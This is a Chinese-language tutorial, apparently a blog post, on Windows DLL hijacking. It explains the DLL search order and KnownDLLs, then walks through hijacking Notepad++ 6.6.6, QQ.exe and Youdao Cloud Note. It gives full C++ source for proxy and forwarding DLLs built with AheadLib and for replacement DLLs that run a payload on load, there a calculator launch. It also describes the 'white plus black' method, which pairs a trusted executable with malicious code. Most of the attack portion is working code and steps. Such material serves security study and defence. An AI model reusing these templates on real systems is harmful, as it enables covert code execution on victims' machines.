DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件。
在windows平台下,很多应用程序的很多功能是相似的,抛去ui等等来说,大致的功能都差不多,比如都得调用窗口,都得调用内存管理的模块来分配内存,都得调用io模块去进行文件操作,读写文件等等,这些模块的具体表现就是DLL文件。
Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。
DLL路径搜索目录顺序
1.程序所在目录
2.程序加载目录(SetCurrentDirectory)
3.系统目录即 SYSTEM32 目录
4.16位系统目录即 SYSTEM 目录
5.Windows目录
6.PATH环境变量中列出的目录
Know DLLs注册表项
Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。
Know DLLs注册表项的路径为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
这里dll劫持的选用的是notepad++,注意版本问题,我第一次进行dll劫持的时候使用的是最新版本,导致我鼓捣半天都没能正确执行,搞得我一脸懵逼,百度之后才发现notepad后面的版本修复了漏洞,所以这里选的是6.6.6的版本
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使用到Procmon.exe程序
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这里打开过后设置几个过滤条件,分别是进程名、路径以及结果
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然后这里找一个需要用到loadlibrary
这个api的dll,这里找有这个api的原因是因为如果该dll的调用栈中存在有 **LoadLibrary(Ex)**,说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情。
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LoadLibrary
和LoadLibraryEx
一个是本地加载,一个是远程加载,如果DLL不在调用的同一目录下,就可以使用LoadLibrary(L"DLL绝对路径")
加载。但是如果DLL内部又调用一个DLL,就需要使用LoadLibraryEx
进行远程加载,语法如下
LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
LoadLibraryEx
的最后一个参数设置为LOAD_WITH_ALTERED_SEARCH_PATH
即可让系统dll搜索顺序从我们设置的目录开始
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这里使用vs2019编译一个dll
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这里使用到<stdlib.h>
库调用system()
生成弹出一个计算器即可
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编译并复制到Notepad++的根目录下
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运行即可弹出计算器
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这里改个条件,改为SUCCESS
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双击SciLexer.dll 然后看下stack,可以发现同样存在loadlibrary。那就说明这个dll是动态加载的,并且不需要什么导出函数就可以成功被加载。并且是在程序在运行过程中完成的
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这时候我们就需要找这个dll的导出函数,导出函数是可以被外部访问的。导出表包含 DLL 导出到其他可执行文件的每个函数的名称,这些函数是 DLL 中的入口点;只有导出表中的导出函数可由其他可执行文件访问。DLL 中的任何其他函数都是 DLL 私有的。
在动态调用的时候,一般代码通过loadlibrary去加载dll 并作为参数传到到导出函数,这里看一下导入表,发现他这里有一个导出函数
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编写dll时,有个重要的问题需要解决,那就是函数重命名——Name-Mangling。C++的编译器通常会对函数名和变量名进行改编,这在链接的时候会出现一个严重的问题,假如dll是C++写的,可执行文件是C写的。在构建dll的时候,编译器会对函数名进行改编,但是在构建可执行文件的时候,编译器不会对函数名进行改。这个时候当链接器试图链接可执行文件的时候,会发现可执行文件引用了一个不存在的符号并报错,这里我就直接定义extern "C"
来告诉编译器不对变量名和函数名进行改编即可
代码如下,我们的目的就是让程序本身去LoadLibrary
去加载dll
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void Scintilla_DirectFunction()
{
system("calc.exe");
}
生成dll并改名为SciLexer.dll
,把原来的dll先放到桌面保存
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然后运行一下发现报错了
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这里也没有弹出计算器,这里就卡了很久,然后发现这里还可以用一种dll转发的方式
dll转发顾名思义,就是要保留原来的dll,再生成一个恶意的dll执行代码,代码如下
// dllmain.cpp : 定义 DLL 应用程序的入口点。
# include "pch.h"
# include <stdlib.h>
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void Scintilla_DirectFunction()
{
HINSTANCE hDll = LoadLibrary(L"SciLexer_re.dll");
if (hDll)
{
//typedef 是定义了一个新的类型
//DWORD是双字类型 4个字节,API函数中有很多参数和返回值是DWORD
//定义了类型EXPFUNC,并且返回类型是DWORD的函数的指针
typedef DWORD(WINAPI* EXPFUNC)();
EXPFUNC expFunc = NULL;
expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction");
if (expFunc)
{
expFunc();
}
}
return;
}
然后把原dll改名为SciLexer_re.dll,并将生成的恶意dll改名为
SciLexer.dll`
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运行notepad++即可
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转发对主程序的依赖非常的高,报错是CreateWindowsEx()返回值为空报错,当使用转发,让程序先走恶意的dll(SciLexer.dll),再走正常的dll的时候(SciLexer_re.dll),我们不清楚主程序的需求是什么可能是一个返回值,也可能参数不正确,这个时候都会导致主程序运行出错。
这里还是使用导入表进行劫持,首先用cff(下载地址:https://ntcore.com/files/CFF_Explorer.zip)打开QQ.exe的导入表,找一个不在`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路径里面的dll进行劫持,因为在这个路径里面的dll是优先加载的,加载之后已经进入内核空间,想要劫持难度很大。这里我选择的是
libuv.dll`进行劫持
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找到路径下的libuv.dll
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然后使用到aheadlib这个工具,输入dll就填QQ.exe路径下的libuv.dll
,输出CPP会自动生成,原始DLL的名称要记住,等下会替换
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点击生成就会在目录下生成一个.cpp文件
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打开看一下有一个入口函数
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新建一个vs dll项目,然后将.cpp的代码复制进去,并加上<windows.h>
和<stdlib.h>
头文件
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然后在入口函数的地方填上一个弹出计算器的语句
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将原dll文件改名为之前在软件里面复制的名字libuvOrg.dll
,并把我们生成的dll文件复制进去
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点击QQ.exe即可弹出calc.exe
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这里分析一下导出函数的代码,随便选一行
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当程序想要调用程序中的uv_udp_open
函数的时候,需要先LoadLibrary
,即通过libuvOrg.uv_udp_open,@195
去加载原始dll,那么libuvOrg.dll
其实已经被转发
#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")
还是劫持之前的dll:libuv.dll
,这里还是先输入DLL,然后转发的地方改为即时调用
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生成一个vs dll项目,把生成的libuv.cpp代码copy到项目里面,然后加上#include "pch.h"
和#include <stdlib.h>
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在入口函数的地方添加上我们的恶意代码
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然后把原dll改名为libuvOrg.dll
,再把我们编译生成的dll粘贴进去
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点击QQ.exe即可完成劫持
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这里继续看看代码,调用导出函数之前先执行入口函数,函数执行完成过后return到Load函数,这里跟过去看看
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Load函数首先把libuvOrg.dll
即原来的dll文件写入缓冲区,使用LoadLibrary
展开后通过wsprintf
与原dll进行判断,如果LoadLibrary
成功则继续调用InitializeAddresses()
函数,继续跟过去看看
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这里可以发现InitializeAddresses
这个函数的作用都是调用GetAddress
去Load函数的地址
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再看看导出函数
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程序要调用uv_async_init
这个函数,就可以直接获取原始dll中uv_async_init
函数的地址
#pragma comment(linker, "/EXPORT:uv_async_init=_AheadLib_uv_async_init,@2")
直接用__asm jmp到原始dll的导出函数地址去完成功能即可
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对比之前用直接转发出来的cpp,对比之前用直接转发出来的cpp,直接转发对主程序来说,其实就是调用了原来dll的某个函数。
但是即时调用实际上是调用了劫持dll的某个函数,只不过那个函数会jmp到原本的dll中的相应函数的地址。达到的效果相同,但是实现的原理不同。
白加黑,就是一个白exe,加上一个黑代码,这里的黑可以是shellcode,也可以是dll。这里主要是尝试一下之前判断的工具的流程,使用导出函数
这里找一个不在Know DLLs里面的dll,而且这个dll必须要用LoadLibrary
进行加载,这里我找的是CrashRpt.dll
,可以看到有4个导出函数
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那么这里用vs新建一个dll,把这4个导出函数由我们自己来写,这里尝试不转发即时调用,如果不成功在尝试转发
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完整代码如下
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <stdlib.h>
extern "C" __declspec(dllexport) void RptCleanup();
extern "C" __declspec(dllexport) void RptSetAdditionalInfo();
extern "C" __declspec(dllexport) void RptNcThreadListAddCurrent();
extern "C" __declspec(dllexport) void RptInitializeWithDefaultSettingsWithVersion();
void RptCleanup()
{
system("calc");
}
void RptSetAdditionalInfo()
{
}
void RptNcThreadListAddCurrent()
{
}
void RptInitializeWithDefaultSettingsWithVersion()
{
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
然后生成dll把原来的CrashRpt
替换掉
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启动有道云即可成功弹出计算器